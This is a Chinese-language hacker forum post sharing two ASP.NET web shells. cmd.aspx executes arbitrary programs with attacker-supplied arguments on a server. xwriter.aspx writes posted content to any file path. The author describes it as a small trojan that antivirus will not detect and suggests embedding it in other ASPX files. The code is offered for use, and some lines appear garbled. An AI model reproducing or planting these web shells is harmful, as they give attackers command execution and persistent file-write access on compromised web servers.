一、cmd.aspx
在邪恶八进制论坛(PS:有谁知道为什么最近几天这论坛打不开啊)有朋友提出WebAdmin执行命令不能带参数的问题,偶找了个BT主机来试试,果然有问题,就把以前那个cmd.aspx改了改,就请凑合着用先。WebAdmin 2.X的下个版本将修复这个问题.
把一下代码复制保存为一.aspx文件即可:
<%@ Page Language="VB" Debug="true" %><%@ import Namespace="system.IO" %><%@ import Namespace="System.Diagnostics" %>
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text) myProcessStartInfo.UseShellExecute = False myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xCmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "
" & mystring & ""
End Sub
二、xwriter.aspx
记得有个ASP下的小马就是利用FSO把提交的文本信息保存为一个文件,虽然体积比eval大些但是代码完全合法,杀毒软件也不会找茬的。呵呵,以下代码就是在ASP.NET实现这功能(自己拿去改改还可以插入ASPX文件哦):
<%@ Page Language="VB" %>
<%@ import Namespace="System.IO" %>
Sub Page_load(sender As Object, E As EventArgs)
dim mywrite as new streamwriter(request.form("path"), true, encoding.default) mywrite.write(request.form("content"))
mywrite.close
response.write("Done!")End Sub
以下是客户端,复制下来保存为htm文件:

